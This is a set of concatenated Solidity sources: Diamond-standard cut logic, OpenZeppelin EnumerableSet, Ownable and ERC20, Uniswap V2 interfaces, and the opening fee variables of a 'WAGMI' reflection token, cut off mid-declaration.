DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress != _facetAddress, "LibDiamondCut: Can't replace function with same function"); removeFunction(ds, oldFacetAddress, selector); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); // if function does not exist then do nothing and return require(_facetAddress == address(0), "LibDiamondCut: Remove facet address must be address(0)"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; removeFunction(ds, oldFacetAddress, selector); } } function addFacet(DiamondStorage storage ds, address _facetAddress) internal { enforceHasContractCode(_facetAddress, "LibDiamondCut: New facet has no code"); ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds.facetAddresses.length; ds.facetAddresses.push(_facetAddress); } function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) internal { ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = _selectorPosition; ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(_selector); ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress; } function removeFunction(DiamondStorage storage ds, address _facetAddress, bytes4 _selector) internal { require(_facetAddress != address(0), "LibDiamondCut: Can't remove function that doesn't exist"); // an immutable function is a function defined directly in a diamond require(_facetAddress != address(this), "LibDiamondCut: Can't remove immutable function"); // replace selector with last selector, then delete last selector uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition; uint256 lastSelectorPosition = ds.facetFunctionSelectors[_facetAddress].functionSelectors.length - 1; // if not the same then replace _selector with lastSelector if (selectorPosition != lastSelectorPosition) { bytes4 lastSelector = ds.facetFunctionSelectors[_facetAddress].functionSelectors[lastSelectorPosition]; ds.facetFunctionSelectors[_facetAddress].functionSelectors[selectorPosition] = lastSelector; ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint96(selectorPosition); } // delete the last selector ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop(); delete ds.selectorToFacetAndPosition[_selector]; // if no more selectors for facet address then delete the facet address if (lastSelectorPosition == 0) { // replace facet address with last facet address and delete last facet address uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; uint256 facetAddressPosition = ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; if (facetAddressPosition != lastFacetAddressPosition) { address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition]; ds.facetAddresses[facetAddressPosition] = lastFacetAddress; ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = facetAddressPosition; } ds.facetAddresses.pop(); delete ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { enforceHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} // Add=0, Replace=1, Remove=2 struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } }

True

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// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; contract WAGMI is ERC20, Ownable { modifier lockSwap { _inSwap = true; _; _inSwap = false; } modifier liquidityAdd { _inLiquidityAdd = true; _; _inLiquidityAdd = false; } uint256 internal _maxTransfer = 10; uint256 internal _maxWallet = 30; uint256 internal _marketingFee = 4; uint256 internal _treasuryFee = 7; uint256 internal _autoLiquidityRate = 3; uint256 internal _marketingFeeEarlySell = 4; uint256 internal _treasuryFeeEarlySell = 6; uint256 internal _reflectRate = 10; uint256 internal _autoBurnRate = 1; uint256 internal _cooldown = 30 seconds; uint256 internal _totalFees = _marketingFee + _treasuryFee + _autoLiquidityRate; uint256 internal _TotalEarlySellFees = _marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate; uint256 internal _swapFeesAt = 1000 ether; bool internal useEarlySellTime = true; bool internal useBuyCooldown = true; bool internal _swapFees = true; // total wei reflected ever uint256 internal _ethReflectionBasis; uint256 internal _totalReflected; uint256 internal _totalTreasuryFees; uint256 internal _totalMarketingFees; uint256 internal _totalLiquidityFees; address payable public _marketingWallet; address payable public _treasuryWallet; address payable public _burnWallet; address payable private _wagmibuyback; address payable public _liquidityWallet; uint256 internal _totalSupply = 0; uint256 public _totalBurned; uint256 public _totalDistributed; uint256 public earlySellTime = 24 hours; IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0)); address internal _pair; bool internal 